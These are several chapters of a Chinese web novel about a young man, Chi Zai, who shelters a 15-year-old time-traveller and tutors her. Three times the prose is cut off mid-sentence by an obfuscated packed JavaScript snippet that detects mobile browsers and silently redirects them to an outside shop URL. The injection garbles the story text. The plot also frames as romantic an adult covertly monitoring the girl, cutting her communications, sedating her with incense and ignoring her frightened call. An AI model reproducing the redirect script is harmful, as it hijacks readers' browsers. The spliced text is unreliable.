现在两人还存在着较大的身高差，艾知仰起头，刚要开口，迟载又说道：“小爱你知道的，我父母只生了我一个，我没有别的兄弟姐妹，我不太懂该怎么照顾比我小的孩子。不过我会好好跟小伽学习该怎么照顾你的。” 15岁的艾知自奶奶去世后就如同弱小的浮萍，既没有根，也不知道该飘向何方。 迟载这番言辞恳切的话怎能不让感知命运如同浮萍一样的艾知动容呢。 少女颔首，她将小手轻轻搭在迟载宽大的掌心，宛若缔结下一辈子都不可背弃的誓言：“好。” 早上，阳光照进艾知房间内，将整个屋子照得雪白通透。 艾知被光晃了眼睛，迷迷糊糊揉了揉眼睛。 本想继续睡下去，忽然惊从梦中起，她睁开眼睛发现早就过了自己平常起床的时间。 小伽呢？小伽每天都会来喊她起床上课的呀。 艾知纳闷地掀开羽绒被子，打开房间的唤视铃，小伽今早并没有过来按她房门的铃声。 她记得她好像并未跟小伽约好今早不上课。 艾知急匆匆洗漱完，又赶忙跑去自习室，发现迟载正在她平常用的那张桌子上写写画画。 “小识哥哥早，小伽呢？” 男人轻拧眉头，艾知见到自己的第一句话不是问候自己，反倒是关心一个没有感情的机器人，心中十分不爽。 而被迟载赶回迟府的小伽此刻正在餐厅为夫人备菜，忽然觉得心里刺挠挠的。他觉得一定是自己连夜赶路的原因，电量应该不够了，等着待会大伽来替班的时候，他去补个电能。 迟载向来会把控情绪，见艾知还等着自己的回答，眸中不悦稍纵即逝，装作不知情的样子，温声问道：“怎么了？” “小伽今天有事吗？我没见着他。” 平日里都是小伽按时喊艾知起床，如果今早要是有什么事耽搁了，艾知担心小伽会被迟载责罚。 “哦，家里有急事召他回去，他早上就赶回去了。” 迟载像是想到什么，又问道，“是不是饿了？我给你做早餐。” 艾知摇了摇头：“我不饿。” 她从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16400120|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小就不喜欢吃早餐，以前是上学时间早，不吃早餐会饿，没法集中精神学习，现在时间都快十点了，早过了那个点，艾知自然没那个胃口吃，也体会不到饿。 迟载皱眉，难怪从小到大都那么瘦。 在海岛的时候，艾知就忙前忙后的，经常不吃早餐，胃实在疼很了，嚼两片胃药算完事，一点都不爱惜自己的身体。 现在小时候的艾知被他照看着，也没未来的记忆，他必须要将艾知不爱吃饭的这些毛病给纠正过来。即使他自己也不喜欢吃早饭。 “小识哥哥，小伽走了那谁给我上课呀？” 迟载真要被艾知气笑了。他还是头一次遇见能把“废寝忘食”这四个字刻在骨子里的人。 大艾知天天忙工作忙赚钱顾不上吃饭，现在这个小的为了学习也不愿吃饭。 “学习的事情不着急，现在当务之急是解决你的早……”迟载想了想，又补充道，“你的早午饭。” 早饭不爱吃，午饭总得吃吧。 迟载觉得，对于艾知来讲，无论是25岁还是15岁，都得循序渐进，慢慢沟通。 她就像栽培一朵温室里的罕见的稀世花朵，无法给予强光日晒，也不能用猛水浇灌，只能栽培在富含维生素的营养液中，每日记录生长数据，时刻监测她的状态。 “嗯，好。” 迟载说他亲自下厨，艾知心中稍感不安。小伽陪艾知吃饭的时候就说过，他们家迟载迟公子从来都是十指不沾阳春水的，家里有十几个机器用人专门伺候他，衣食出行这些根本不用他动手，伸伸手就能把饭做好递到嘴边，简直比古代的皇帝还舒坦。 “唯一能把我们迟公子伺候高兴，能让贴身伺候的只有一个机器用人哦。”小伽得意一笑，“你知道是谁吗？” 显然，这个答案毫无悬念。艾知伸手指向小伽：“肯定是你呀。” “Bingo！”小伽骄傲的不得了，小身板挺得倍儿直。 “就是我这个尽职尽责，把公子看得高过天的小伽！你不知道吧，去年我还被首辅大人授命为迟家优秀员工呢。你要看奖牌吗？不过奖牌被我表彰起来，挂我卧室的墙上了，等回头让我兄弟大伽给你传张照片来，让你瞅一瞅。” “你有工资吗？”艾知觉得这样的一份工作工资肯定不低。 “公子？我只有迟载一个公子。我生是迟家的机器用人，死了也是迟家的魂！” 艾知被小伽的空耳逗笑：“不是说迟公子啦，是工资！是薪水！” 她想着，如果迟家做用人工资高的话，凭着她跟迟载的关系，等她十八岁成年了让她进去当个关系户赚点钱，她应该也就不用担心生存问题了，说不定还能跟着吃香喝辣呢。 “薪水？我们没有啊。为什么要给我们薪水？” 日夜为迟家工作还不给酬劳？这算赤裸裸的压榨吧？比旧社会的地主老财还过分！ “可是工作了就是要支付酬劳的呀。” 艾知无法理解，在她的世界里是不存在免费干活这一说法的，付出了心血劳动就需要得到相对应的报酬，奶奶拜托隔壁婶婶照顾自己还要给点钱呢。现在都是三百多年后的时代了，怎么思想反而退步腐朽了呢？ “要薪水也没有用呀，我们机器人只需要电能，主人家会供给好电量的。如果机甲有损耗，主人家也会帮我们修复的。” “我们被制造出来就是为了伺候主人的，服务好主人及主人的家人这是最初也是终极指令。每一个机器用人生来就是为了这条指令而活的。” 8. 第 8 章 “我们生来就是为指令而活。” 艾知还在思考小伽的这句话，不知迟载已经盯她很久了。 “怎么了？就这么担心我的厨艺？愁眉苦脸的。” 两人在Nebula同住一间宿舍的时候，艾知的早饭就都是迟载准备的。Nebula每日都需要准备游客的自助早餐，所以员工们需要比游客起的更早，做好一切迎接服务。所以度假区只提供员工的午餐和晚餐。艾知也就钻了这个空档，借口不吃早饭。 做迟家的矜贵公子，自是不需要做饭打扫卫生，作为小识，为艾知做饭，帮她收拾屋子则是迟载一天中最要紧的事情，且乐此不疲。哪怕后来两人不住一起了，迟载都会先起床做好早餐去敲艾知的门。 十五岁的艾知哪里知道二十五岁的自己依旧不爱吃早餐，全靠小伽嘴里这个娇贵冷漠的迟载投喂。现在的艾知担心的是，迟载会不会是唬她的。 小女孩的心思很好猜，心里想什么全都被脸上的表情暴露了。迟载瞧着一脸不可思议，嘴上却说“相信，怎么不相信”的小女孩，又无奈又好笑。 艾知小时候虽然跟长大后一样不好忽悠，但性子更加纯净可爱。现在的艾知宛若一块白玉，如何雕刻，雕刻成什么样的玉器，须得细细绘出构图。 迟载没解释，笑着伸出手，艾知半信半疑，将手搭了上去，两人一块去了餐饮室的后厨。 迟载看了眼透明冰箱里的食材，决定做之前艾知在Nebula常吃的番茄炖牛腩和青椒炒蛋。 番茄，牛腩，鸡蛋都很好处理，只是这青椒还需要去籽。迟载熟练地切开青椒，跟往常一样去抠青椒的辣椒籽。 “小识哥哥你干嘛要抠籽啊？”艾知睁着大大的眼睛好奇地问。 “你不是不喜欢吃籽吗？”艾知其实不挑食的，跟她在食堂吃饭的时候，迟载就注意到了这点，她什么都吃，但是唯独不喜欢辣椒籽。所以他做饭的时候，会先处理辣椒，只取辣椒的果皮。 艾知一愣，迟载怎么知道自己不喜欢吃辣椒籽的。奶奶平常做农活忙，没时间处理辣椒籽，都是洗净直接切了扔锅里，她再趁奶奶不注意自己偷偷挑干净了再吃。 “小伽跟我说的。”迟载处变不惊，继续处理辣椒籽，“他走之前将你的饮食习惯做了报告给我。” 艾知信以为真，点了点头，不再疑惑，殊不知自己的喜好早就被迟载摸了个透，现在的她在迟载面前就像是个透明人，只是自己不知道罢了。 不得不说，迟载的厨艺还不错，又是针对性地故意选择艾知喜欢的食材，艾知这一顿饭吃得很饱。 “好吃吗？” 女孩频频点头，青椒炒蛋她以前常吃，牛肉对于奶奶和她来说还属于比较高昂的肉类，所以吃得很少。奶奶过年的时候做过一次，从此她就对这道菜香醇的味道念念不忘，曾经还暗暗发誓，如果有钱了，她一定要顿顿买番茄和牛肉，跟奶奶天天吃。 做饭的厨子眼中最美的风景不是琳琅满目的菜品，而是食客在饱餐一顿后，眼神中流露对自己做的佳肴真心实意的夸赞与回味。 看着埋头吃得很香的艾知，厨子迟载满意极了，以前给艾知做饭，她总是三心二意，一边看手机一边吃饭，甚至为了处理工作信息，直接撂筷子走人去解决问题。现在的艾知就很好，会乖乖坐在自己对面，吃自己亲手准备的食物，任自己给她夹菜，自己起身，她才跟着起来，不会像以前那样抛下自己一走了之。 迟载舒服地眯起眼睛，细品了一口茶，静静地看艾知一口一口地嚼着食物。 “哥哥，下午是不是就要学习了呀？” 被迟载带走的时候，艾知刚刚考上他们当地的重点高中，在念高一。 艾知坚信“知识改变命运”，尽管现在住在这里，小伽又不在没人教她，迟载也没说送她去这个时代的学校读书。外界没了助力，她依旧觉得不能丢掉学习，她答应过奶奶要好好学习，通过学习改变自己的命运。 “嗯。”迟载终于开口说起读书的事。 “你在这个世界暂时还没有通行证，所以没办法进到研习院读书。所以在通行证办好之前你的课程都由我教你。如果……”像是突然想起什么事，迟载又说道，“如果我有事没有办法赶回来，我会传简讯给你。家里有通讯器，可以随时联络我，如果我没有及时回你，可能我在忙，但我得了空会第一时间给你发消息。” 21岁的迟载明年即将从皇区大学正式毕业，现在在父亲的首辅宫做管理战略岗的见习生。 贝器时代的孩子步入学习阶段，会先在家由父母教育辅导，等长到八岁会被送去各区的教习局进行分科考试，根据综合成绩派送不同教习院读书。教习院会教授基础机甲理论和各区人文，并开设各类实操课程，待到14岁参加研习测验，根据学生意向及成绩分配去研习院读书或是专职学院学习专项技能。 等在研习院学完四年后，学生们会根据自己未来的就业及兴趣研究方向申请不同的大学，而迟载凭着从小到大优异的绩点被全球最高学府，也是被誉为未来政客，经济发展学家，科技能家摇篮的皇区大学录取。两年时间内，他在大学进行了比研习院读书时更为专业，深层次的学习，需要在20岁成年后开启为期两年的见习生活。待到22岁大学正式毕业，他就需要投身社会。 学生在教习院读书是全球免费的，但从研习院开始，就需要支付高额的教育费用供孩子继续读下去。有的家庭无法支付贝壳，只能被迫将孩子送去专职学院，因为在专职学院读书不仅不需要花钱，甚至还能学到未来糊口的技术。 不过各区也会为了成绩优秀，但苦于家庭贫困，没有机会去研习院的学生提供教育资金的支持。待到学有所成，这些获得各区资助的孩子们日后会进入各区政府部门做两年的基础职工。这两年薪资照发，但待遇会稍稍差于正式职员。等两年后，各部门会对这些基础职工进行全方位的考核，各部门会筛选一部分人升职成正式职员，而没被选上的则须自行找工作，赚钱还之前政府给予的教育资金。 因为本身学历优秀，又在政府部门做了两年职工，这样的履历对于落选的那些贫民学生来说是简历贴金的证明，他们离开政府后也能因此找到不错的工作，很快还上之前欠下的教育资金。所以还是有很多家庭希望自己的孩子通过这条路走上康庄大道。 只要被各区资助了，将来无论哪条路，都非常好走。 迟载自出生起就是天之骄子，根本不会为了需要花多少贝壳多少钱才能去研习院上学而烦恼。他继承了父母的美貌，又将各自的优点发挥至极致。身后又是首辅大臣的父亲，全球著名钢琴家的母亲，他的存在就仿佛证明会投胎才是给自己最大的投资。 艾知并不知道她的小识哥哥在这个时代到底是何种尊贵的身份，首辅大臣的孩子是什么样的存在。她从小伽口中只能获得一星半点，但她也可以猜出迟载背景的庞大。 既然能在这个时代横行，那绝非等闲。 迟载不主动说，她也不会去问，奶奶曾教过她，亲疏有度，远近相安，对于别人闭口不谈的东西，刨根问底只会打破两人之间的分寸感。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16400121|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 小伽的工作就这样被迟载接替下来了，跟小伽传统型的教育模式不同，迟载更倾向让艾知亲身感受知识穿过大脑，能用眼睛和手感知知识。 讲天文物理，他会驾驶舰船带艾知在最高处观赏星星，用四维空间模型拟态陨石撞击，讲人文历史，他会直接带她去私人文物博物馆参观，用幻影重现经典感知历史的深厚底蕴，讲机甲操作，他直接买了几架变形机甲送给艾知拆分了解组成构造，再陪着她一点一点地组装复原。 日子一天天过去，艾知也对这个“从天上掉下来”的哥哥更加熟悉。小伽不在，迟载很好地充当了教育者，照顾者的身份。渐渐地，艾知开始习惯身边有迟载的陪伴，不过她还是很想念小伽，每天晚上睡觉前都要跟小伽聊好久才肯入睡。 跟小伽暗中通讯是迟载默许的，小伽身上组装的联络系统与迟载的通讯仪绑定，只要点开小伽的联络网，他与谁发送通讯迟载都能一清二楚。刚开始这样做，是因为小伽刚被送到迟家，迟恩担心迟载的安危，命机器工程师给小伽重新编码，输入指令的时候组装了联络网，这样迟载就能随时监控小伽。不过小伽根本没二心，迟载也就没看小伽和谁联系的心思。 小伽对于自身的改造是不知道的，被送回迟家后，他依旧勤勤恳恳地为迟家服务，晚上跟艾知分享最新看到的小说和当下哪个火热虚拟偶像谈恋爱的八卦。 得知迟载为艾知做起了保姆的工作，小伽惊得从休息舱掉出来，给他的兄弟大伽吓个半死。 “我的天老爷！小爱小姐你你说的是真的吗？我们公子给你做饭，然后还要问你咸淡，如果咸了就重做？”得到艾知肯定答复后，小伽觉得自己的世界观好像颠倒了，这还是他认识的那个迟公子吗？他什么时候这么体贴，这么有耐心了？还有啊，他什么时候学会做饭的？ 迟载在所有迟家机器用人眼里就像初春的一阵寒风，冰冷但不至于锋利，但是如果要去追寻，他只会早早没了踪迹，只留下刮在脸上的刺骨。合着在艾知这里，他就是一抹暖阳啊，是安了自动开关的电火炉，想暖就暖，不想暖了，可以直接不理会。 小伽搞不懂迟载，他的指令就是照顾好迟载，照顾好迟家，难不成迟载也被输入指令了？可是，迟载是人啊。 “你这个反应好奇怪啊。难道说小识哥哥之前不是这样的？” “何止啊，公子其实很少——”小伽刚要说后半段，他与艾知的网线就断了。 啧，是我最近太累，所以网路不稳定？小伽丝毫不知是自己背后小声蛐蛐的，他的主人迟载给他俩的线掐了。 艾知也对小伽忽然中断了两人之间的通讯感到奇怪，她解下戴在手腕上的通讯仪放在枕边，尝试着再给小伽发送消息，可那边无人应答。 “应该突然有事要忙吧。”艾知自言自语，躺下后感应灯自动关闭，她也随即闭上了眼。 而在另一间卧室，掐断两人联络网的迟载，才开始继续处理见习工作的事务。 现在虽然是见习生假期，为了更好地照顾艾知，他借口去郊区度假。为了让迟恩不起疑心，觉得他没有整日荒废，去找父亲的心腹要了权限，从档案资料库拿了许多首辅宫积存的陈年突发事件案例，每天除了给艾知上课，就是在看这些。 他看案例的时候，艾知就坐在他身边看书，两人静悄悄的，也不说话。有时候小姑娘学累了，头一点一点的，他便不动声色，悄无声息地移到她更近的距离，这样头一歪，就能靠在他肩上。 听着艾知均匀的呼吸声，迟载空缺的心好似被静谧的满足所填满。 9. 第 9 章 首辅宫见习生的假期即将结束，迟载头一次没有提前去报道的心思。 “兄弟，明儿我生日，再不过来可就不像话了啊。”来消息者是迟载从小到大的玩伴，也是皇区大学的同窗——肖十八。 “你这几个月怎么回事啊，喊你干什么都不肯出来。再不出来，过两天就得进‘牢笼’了啊。” 肖十八父亲肖同是第二区军务大臣，肖十八本人则进了跟迟载一样的管理战略部做见习生。 肖同酷爱饲养各类宠物，家里养了十七个，每天当亲儿子似的疼，甚至比对亲儿子还好。底下人就戏称肖同亲儿子家里排行第十八，反倒肖十八的大名肖赫星没人叫了。 迟载看了眼卧在书房按摩团椅睡午觉的艾知，按掉了肖赫星的来电视频。 结果肖赫星不死心，又打来，迟载继续按掉，在肖赫星发来一句“你不对劲”后，迟载起身，出去接通了肖赫星的来电视频。 刚一接通，肖赫星那张剑眉星目的脸就蹦了出来。 他左瞅右看，发现迟载并不在迟家本宅，看周围环境倒像是迟家的郊区别墅。 “刚才为什么不接我视频？还挂我？莫非你有什么不可告人的小秘密？”肖赫星一脸奸笑，要不是只能投影到视频者彼此所在的空间，不能直接跨过来，依肖赫星好奇宝宝的性子，非得找找迟载身后藏了什么。 迄今为止，迟载才第一次开口：“刚刚在午休，嫌你吵。” “午休？你一视学习，视工作为爱人的铁石头会午休？”肖赫星听了迟载的话，在想今儿太阳是不是打西边出来了。 迟载当然不会午休，午休的是艾知。不过艾知的存在，迟载从始至终都觉得没必要让其他任何人知道，包括跟自己穿一条裤子长大的发小肖赫星和林赛。 “偶尔休息一下也不错。”迟载淡淡一瞥旁边的监测器，艾知还沉浸在梦乡中，没有要醒来的迹象。 肖赫星给自己打视频，没有一时半会是挂不掉的，迟载开了书房的安神熏香通风口，让艾知睡的时间更长些。 肖赫星没注意到迟载的小动作，一味沉浸在自己明天21岁生日的欣喜中。 “你说你要闭关，就是跑来你家这小破别墅闭关啊。这儿哪里好啊，又偏又破的。” 迟家为避风头，所购房产并不像其他几个区的首辅大臣那样多，除了第二区市中心的迟府，还有几处零星的宅院，其中最不打眼的就是这栋郊区别墅。 “这块安静，适合生活。” 心率稳定，呼吸顺畅，没有要翻身的迹象。迟载一一记下艾知身体的各项指标，丝毫没在意肖赫星叽里呱啦说的一大堆话。 “喂！我说，你在听吗？”肖赫星终于发现迟载的注意力一直不在他身上了，“迟哥你藏人了啊？这么心不在焉的。我难道不是你最爱的宝贝了吗？” “滚。”迟载一阵恶寒，顺道有一点儿心虚，“有屁快放，不说我挂了。” 被迟载训了一顿，肖赫星才有个正型：“明天我生日，你得来哦，你要是不来，我亲自来你这儿的小别墅逮你。” 肖赫星今年的生日迟载本想找借口推掉不去，让小伽代自己去送礼的，他这样一说，迟载就不得不去了。他太了解他这位发小了，如果真不去，他极有可能真跑过来找自己。 真麻烦。迟载捏捏眉心，叹了一口气。 “生日会啊。那当然要去。”艾知得知这一消息后，完全没有迟载预想的不舍。 “说不定会留宿，肖十八不知道会闹到多久。”迟载说。 艾知眨巴眨巴那双小狗眼，反问道：“小识哥哥你给你的好朋友准备生日礼物了吗？” 答非所问，避重就轻。 迟载深吸一口气，努力调节自己的呼吸，让血压不再继续升高。艾知为什么不说让自己别走的话呢，如果说了，他一定不会去，会在家里陪她的。 看她这样子好像很期待自己去似的，难道她不想让自己陪她吗。 “准备了，我打算叫小伽送去的。如果你不想，我可以——” “小伽要过来吗？你去参加生日宴，是不是就让小伽过来陪我？” 迟载太阳穴的青筋隐隐地跳动了两下，又是小伽，小伽难道比他还要重要吗？他不耐烦地捣腾了两下信息搜集板，其中明后两天的天气预测跳了出来。 男人眉头微蹙，目光在这两条消息上游离，手指则是不自觉地一下又一下地点着信息板，像是真在思考要送什么礼物给肖赫星。 良久，迟载缓缓开口：“给肖赫星的礼物有些大，小伽负责陪我去参加生日宴。”他看向捧着书的艾知，“小爱，你可以一个人呆在家的吧。” 艾知被接过来的头几天，迟载要去首辅宫处理见习工作，所以一直都是自己住的。她的自理能力很好，而且学东西很快，虽然来自科技并不发达的年代，别墅的智能操作她只听一遍就会了。家里储存的食物有很多，她自己也会做点吃食。所以就算留宿肖宅，艾知也能把自己照顾的很好。 有书可读，有饭可吃，艾知就很满足了。 像小狗似的，好养活。 奶奶常说艾知像只小狗，她的下垂眼角和饱满的卧蚕不仅长得像小狗，连性格也像小狗。无忧无虑的，不挑吃不挑穿，认定一个人就一个劲地对这个人好，且只相信这个对自己好的人。 小伽是第二天早晨到的，等再见到他时，艾知觉得应该不太能用“他”来形容。尽管只是几个月没见面，小伽的焕然一新让艾知跟迟载都惊得不知道该说什么好。 小伽给自己的外装备全部换成了粉紫色，原本灰黑色的机械指尖都换成了亮闪闪的金黄色，上面还加了月亮和星星的甲钻。听到那一腔甜美能腻死人的萝莉音，迟载的眉头皱得更深了。 “小爱小姐这样不觉得跟我有距离感了吧，我给自己重新打造了新形象，现在我就是第二区最甜的机械女孩。” 艾知倒是接受良好，虽然知道机器用人是没有性别的，不过，爱美之心人皆有之，小伽喜欢这样那就这样呗。她觉得这样的小伽很可爱。 “限你三分钟恢复原样。”迟载的话冰冷透骨，冷到了小伽的那颗爱美的机械心。 “真的不可以留嘛？小爱小姐都说好看了诶。” “两分钟。” 小伽受打击了，不过主人的话他得听，在即将把自己丢去报废区的前一分钟内飞速换回原身，同时还不忘把自己的声线改回之前的薄荷少年音。 然后跟狗腿子似的讨好道：“公子，我准备好了，现在立刻就能出发前往肖公子的生日宴会。” 小伽担心艾知挨饿，又准备了许多点心和美味的速食，那个量堪比远古猛犸象的食量。总之，生怕艾知饿到一点，不，一点都不行。 送走迟载和小伽后，艾知继续回书房看书。迟载答应过自己，晚上宴会一结束就会回来，所以艾知根本不担心。这里就是她在陌生世界的庇护所，她会在迟载的庇护下在异世生存。 按照艾知所在的旧地球时间算法，第二区已经进入了秋季，但如今贝器时代已经没了分明的四季，在科技作用下，地球的气温常年保持在人体适宜的26摄氏度。受太阳辐射影响，每一年都会有几场强烈的雷雨袭击。 而天气预测，今年的强烈雷雨天气就在今天下午登陆。 贝器时代的建筑全部采用的都是防雷电，防火的材质，而且每个区都做了精密的排水系统，汹涌的雨水会通过管道进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16400122|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行过滤消毒和杀菌，再经过几道处理后排向大海。即使是身处地下城，也不会担心被雨水淹没。 肖家位处第二区的中心，即使坐最快的舰船过去，从第二区边缘线的郊区赶过去也需要两个小时。 等迟载和小伽赶过去的时候，离肖赫星的生日宴会开场仅剩一个小时。 “大忙人啊，迟载。我可是好久都没见到你了。”第二区经济理事长的儿子林赛向姗姗来迟的迟载递过一杯香槟，“十八说这个假期怎么都约不到你。” 迟载颔首，将香槟一饮而尽：“十八呢？” 说曹操曹操到，听到迟载的声音，肖十八就跟装了雷达一样，拨开拥挤的人群，穿着一身鸡毛装，挤到林赛和迟载旁边。 “迟哥你可算来了，让我看看你送了我啥宝贝？” “肖公子好，这是我们公子精心为您准备的生日贺礼。”小伽忙不歇地跟献宝似的呈上礼盒。 迟载手一挥，盒盖变透明，内里的东西便显现出来，是一把崭新的旧时代手枪，旁边配有十二发子弹。 “哟，这可是高级货啊。”林赛拍拍两眼直发光的肖十八，“这不比激光枪带劲。” 跟旧地球人一样，贝器时代的贵族权贵都喜欢收藏古董，崇尚古典。他们犹爱距今三四百年历史的近新时代的东西和物件。那个时候科技刚刚开始起步，很多东西都是现在物品的发展前身，极具收藏价值。 “只有十二发原始子弹，自己收着玩儿，别叫你爸发现了。虽然是以前的东西，板机扣下了，子弹出膛是收不回去的。”迟载道。 肖十八笑嘻嘻地让机器用人接过礼物，自己则是一边勾一个，把迟载和林赛往宴会厅里面带：“大礼不言谢。走走走，跟赛哥还有我一块进去喝酒去。” 肖家给肖十八办生日宴的这栋房子建在中空区，外边延伸台有个很大的透明泳池，不过里面没有放水，因为肖赫星亲爹肖同担心自己的宝贝宠物蜥蜴小十七被水淹了丢了小命，所以让儿子把生日轰趴设置在了抽干了水的泳池内。 宴会厅是来来往往的达官贵人，泳池里都是肖十八的不知从哪结识来的狐朋狗友。不过要数最亲密的还是从小一块长到大的林赛和迟载。 哥仨坐在最高处眺望着泳池内狂欢的男男女女，一人品着一杯赛级金汤力，竟没一人说话。 林赛前两天被女友甩了还在疗愈情伤，迟载是在思考这个点艾知有没有按时吃晚饭，是不是蔬菜和肉食都吃了。 而肖十八则是因为这两人都不说话也憋着自己。 憋到最后，肖十八要把自己憋炸了。 “不是，你们一个二个怎么一句话都不说？今天可是我生日诶！赛哥前两天被甩了没心情我可以理解，怎么迟哥你也不说话啊？！难道你也被甩了？被冷暴力了？！不对，你也没有女朋友哇。” “不会说话就闭嘴。”被戳到痛处的迟载冷眼扫了肖十八一眼，“别以为你生日我就不会揍你。” 提什么不好，非得提被甩，他那是被甩被冷暴力吗？艾知明明是还没了解自己，被自己吓到了而已。 而且他好像还没跟艾知恋爱吧？ 一想到艾知，迟载的心又软了几分，连带着看肖十八的眼神都温和了许多。 想了想，迟载还是解释了一句：“前段时间有事，你生日我不是赶来了吗。”其实他原本连生日都不想来的。 肖十八被迟载陡然出现的温柔和耐心震惊了，平常跟冰坨子一样的人竟然能跟他如此温柔地解释原因？ 迟载不是最容易不耐烦的吗？ 肖赫星开始怀疑迟载这不是被甩了，而是恋爱了！！ 这哄人的语气跟前段时间还没分手的林赛一个样！！ 10. 第 10 章 “你不对劲，”肖十八放下杯子，盯着迟载，十分认真地说道，“你很不对劲。” 他不说还好，连带着林赛一同看过来。 “你不会——”肖十八一字一句说道，“连我的生日会都不打算来吧？” 肖十八鲜有如此认真的时候，像是被戳中了心事，迟载霎时间屏住呼吸，表面波澜不惊，握着杯子的手不觉暗暗加劲。 “你忽然在某一天意识到对我的心意，但你又是直男，所以借口去你家小别墅闭关三个月来逃避你的心，也躲避我。但因为实在太思念我，所以还是过来了。不然你也不会送我手枪！”肖十八越说越来劲，他觉得自己推测得十分合理。如果迟载真暗恋上自己了，他该怎么面对这份变了味的兄弟情。 “噗嗤。”林赛刚咽下去的金汤力被他喷个干净，肖十八的话让他现在情也不伤了，思也不念了，坐也不是躺也不是，走更不合适。不过细想来，迟载最近这几个月的确对他们异常冷漠，尤其是对从小就喜欢黏着他的肖赫星十分冷淡。 难道他真的……林赛当没事人一样，优雅地用餐巾拭了拭嘴角，然后看向脸色比吃了屎还难看的迟载。 在肖赫星有理有据地说出论断后，迟载像刀子一般的眼神扫过来，林赛知道，肖赫星小命不保了。 迟载一听完肖赫星的自恋离谱推测后，心里面直冒火，想着今天要不是肖赫星生日，他本人要不是自己发小，他亲爹要不是自己父亲的心腹，他一定会把肖赫星从这里扔下去。 “你想象力真够丰富的。”迟载起身，余光往右侧一剜，“小伽！” 从宴会一开始小伽就在某个犄角旮旯里猫着，就等着迟载一声令下，跟着回去找艾知呢。听见迟载喊自己，以为是要回去了。他的天气预测说待会就会有风暴，现在不赶回去的话，只能等雷雨过去后再回去。 “嗯？”望着迟载离去的身影，肖赫星挠了挠脑袋瓜，“他怎么这个反应？我话还没说完呢。” “我看也别送你什么手枪了，改送你鱼油得了。”林赛笑着拍了拍肖赫星的肩膀。 “啥意思？” “补脑子。” 外边的风已开始刮起，天空飘起了不大不小的雨点。近几百年，人类的科技文明水平以达到高端水平，环境也发生巨大改变，现在地球上下的雨都是弱酸性的。 尽管科技高度发达，能保证全地球人类的未来可持续发展，但对于自然下酸雨仍旧无力改变。 迟载并未离开肖家，小伽随他去了楼上。 肖家已升起透明防护罩，就算下酸雨，也不妨碍派对继续。 “雷电风暴还有多久到达？”迟载站在阳台，冷眼瞧着外边的灯火通明。 小伽迅速打开智能板，发现雷电风团此刻刚刚抵达第二区的沿海地区，估计一个小时后就会覆盖艾知所在的那片郊区。 “我们要不要趁现在回去？小爱小姐估计还没经历过这样的极端天气。”小伽忧心忡忡。 迟载没说话，他在计算下一场雷电风暴什么时候开始。经过前一百年的作战，现在大学已将通过算法精准预测天气变化纳入大学必修课。 “等等吧，等这场风雨过去。” 远处已出现道道划破天际的紫色闪电，尽管所有建筑都做了隔音与避雷处理，那恐怖粗壮的闪光以飞一般的速度劈过来时，还是会心惊胆战。科技再发达也没用，尽管贝器时代的人类已经尽力与当下的自然和平相处，但是面对极端恶劣天气，人类仍旧束手无策。 迟载的通讯仪此刻发出“滴”的一声，迟载接起，艾知含着哭腔的声音从中溢了出来。 “小识哥哥你跟小伽什么时候回来，我害怕——” 艾知话还未说完，通讯仪那边一道“轰”的声音阻隔了两人的通讯。郊区别墅由于长久没人居住，各处的修葺自然比不得迟家常住的房子，隔音效果自然不如刚建的时候。 小伽着急了，艾知现在还是个不到16岁的小姑娘，哪经历过这样可怕的天气。但迟载不说话，他也不能立刻赶到艾知身边，只能眼巴巴等着迟载发话。 第二声“滴”传来，迟载在小伽希冀的眼神中，面无表情地接通了艾知的电话，然后又冷酷地挂断。 “公子！”小伽震惊，甚至忘记了主仆有别，“您为什么要挂断小爱小姐的电话？您分明知道近新时代是没有这样的恶劣天气的。” “再等等。”迟载的手指又一下没一下地敲击着白玉栏杆，眼睛注视着前方恐怖的雷电。 现在的舰船全都以作战标准进行制造，在极端气候下也能出行，但除非事态紧急，又通过军事化训练，否则没有人会冒这个险。因为极端气候下，出门也算一种勇气。 “原来你在这儿！叫我好找。”林赛从旋转楼梯走上来，发现迟载望着远处在发呆，“十八不敢过来找你，怕你揍他。马上要切生日蛋糕了，过去吧。” 他们三个从小一块长大，林赛年龄最大，迟载第二，最小的肖赫星一天到晚就跟着他们两个屁股后面转悠。迟载父亲是首辅大臣的缘故，对他的看管要比其他两家严格许多。迟载的性子则是更闷一些，肖赫星对迟载则是又?敬又怕，每次肖赫星欠抽惹恼了迟载，都是林赛在中间调和。 迟载摇摇头：“我待会就走了，你跟十八说一声，就别等我了。” 林赛截住迟载：“外面这个天气你还要回啊？不怪十八说你，我也觉得你可疑。” 面对林赛，迟载没有糊弄的心，他坦然道：“是，我是有些事要回去处理。” “回你家那个小破别墅？” “嗯，养了只小狗，没多大，遇到这天气应该害怕。” 